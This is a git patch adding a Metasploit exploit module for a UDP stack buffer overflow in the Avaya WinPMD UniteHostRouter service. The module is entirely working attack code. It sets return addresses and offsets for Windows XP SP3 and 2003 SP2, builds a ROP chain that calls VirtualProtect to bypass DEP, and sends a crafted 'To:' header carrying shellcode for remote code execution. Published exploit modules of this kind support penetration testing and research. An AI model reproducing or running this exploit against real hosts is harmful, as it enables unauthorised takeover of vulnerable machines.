From 40983460bfde9e97680a1e91033ea0b4f14647e2 Mon Sep 17 00:00:00 2001
From: jvazquez-r7 <juan.vazquez@metasploit.com>
Date: Sun, 7 Oct 2012 12:05:13 +0200
Subject: [PATCH] added module for avaya winpmd bof, osvdb 73269

---
 .../misc/avaya_winpmd_unihostrouter.rb        | 140 ++++++++++++++++++
 1 file changed, 140 insertions(+)
 create mode 100644 modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb

diff --git a/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb b/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb
new file mode 100644
index 0000000000..283b0fc68c
--- /dev/null
+++ b/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb
@@ -0,0 +1,140 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::Remote::Udp
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Avaya WinPMD UniteHostRouter Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a stack buffer overflow in Avaya WinPMD. The vulnerability
+				exists in the UniteHostRouter service, due to the insecure usage of memcpy when
+				parsing specially crafted "To:" headers. The module has been tested successfully on
+				Avaya WinPMD 3.8.2 over Windows XP SP3 and Windows 2003 SP2.
+			},
+			'Author'         =>
+				[
+					'Abdul-Aziz Hariri', # Vulnerability discovery
+					'Abysssec', # PoC
+					'juan vazquez' # Metasploit module
+				],
+			'References'     =>
+				[
+					['OSVDB', '82764'],
+					['OSVDB', '73269'],
+					['BID', '47947'],
+					['EDB', '18397'],
+					['URL', 'https://downloads.avaya.com/css/P8/documents/100140122'],
+					['URL', 'http://secunia.com/advisories/44062']
+				],
+			'Payload'        =>
+				{
+					'BadChars' => "\x00\x0d\x0a\x20\x2f\x3a\x3f",
+					'Space' => 1024,
+					'DisableNops' => true
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					['Avaya WinPMD 3.8.2 / Windows XP SP3',
+						{
+							'Offset' => 260,
+							'Ret' => 0x77c2e93b # MOV EAX,EDI # POP EDI # RETN from msvcrt
+						}
+					],
+					['Avaya WinPMD 3.8.2 / Windows 2003 SP2',
+						{
+							'Offset' => 260,
+							'Ret' => 0x0040e0f2 # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from UniteHostRouter.EXE
+						}
+					]
+				],
+			'Privileged'     => true,
+			'DisclosureDate' => 'May 23 2011',
+			'DefaultTarget'  => 0
+			))
+
+		register_options([ Opt::RPORT(3217) ], self.class)
+	end
+
+	def junk(n=4)
+		return rand_text_alpha(n).unpack("V")[0].to_i
+	end
+
+	def nop
+		return make_nops(4).unpack("V")[0].to_i
+	end
+
+	def exploit
+		connect_udp
+
+		if target.name =~ /Windows XP SP3/
+			buf = "\xeb\x7f" # jmp short $+0x81
+			buf << rand_text(0x81 - 2)
+			buf << "\xeb\x7f" # jmp short $+0x81
+			buf << rand_text(0x81 - 2)
+			buf << "\xeb\x64" # jmp short $+0x66 # jmp to shellcode in the heap
+			buf << [target.ret].pack("V") # MOV EAX,EDI # POP EDI # RETN # from msvcrt # EDI points to data in the heap
+			buf << [0x77c5f9a0].pack("V") # Readable address with string # from msvcrt
+			buf << ([0x77c3c99c].pack("V")) * 21 # (INC EAX # RETN) * 21 # from msvcrt # EAX points to data in th heap, align to shellcode position
+			buf << [0x77c168cd].pack("V") # jmp eax # from msvcrt.dll # JMP to shellcode in the heap
+		elsif target.name =~ /Windows 2003 SP2/
+			rop_gadgets =
+				[
+					0x77bb2563, # POP EAX # RETN
+					0x77ba1114, # <- *&VirtualProtect()
+					0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
+					junk,
+					0x77bb0c86, # XCHG EAX,ESI # RETN
+					0x77bc9801, # POP EBP # RETN
+					0x77be2265, # ptr to 'push esp #  ret'
+					0x77bb2563, # POP EAX # RETN
+					0x03C0990F,
+					0x77bdd441, # SUB EAX, 03c0940f  (dwSize, 0x500 -> ebx)
+					0x77bb48d3, # POP EBX, RET
+					0x77bf21e0, # .data
+					0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
+					0x77bbfc02, # POP ECX # RETN
+					0x77bef001, # W pointer (lpOldProtect) (-> ecx)
+					0x77bd8c04, # POP EDI # RETN
+					0x77bd8c05, # ROP NOP (-> edi)
+					0x77bb2563, # POP EAX # RETN
+					0x03c0984f,
+					0x77bdd441, # SUB EAX, 03c0940f
+					0x77bb8285, # XCHG EAX,EDX # RETN
+					0x77bb2563, # POP EAX # RETN
+					nop,
+					0x77be6591, # PUSHAD # ADD AL,0EF # RETN
+				].pack("V*")
+			buf = rand_text(3) # padding
+			buf << rop_gadgets
+			buf << "\xeb\x7f" # jmp $+0x81
+			buf << rand_text(0x81-2)
+			buf << "\xeb\x25" # jmp short $+0x66 => to shellcode
+			buf << rand_text(target['Offset'] - buf.length)
+			buf << "\xf2\xe0\x40" # EIP => # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from [UniteHostRouter.EXE # stackpivot to heap
+		end
+
+		request = "UTP/1 To: 127.0.0.1 /#{buf}\r\n\r\n"
+
+		if target.name =~ /Windows 2003 SP2/
+			request << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
+		end
+
+		request << payload.encoded # The shellcode will be stored in the heap
+
+		print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")
+		udp_sock.put(request)
+		disconnect_udp
+	end
+
+end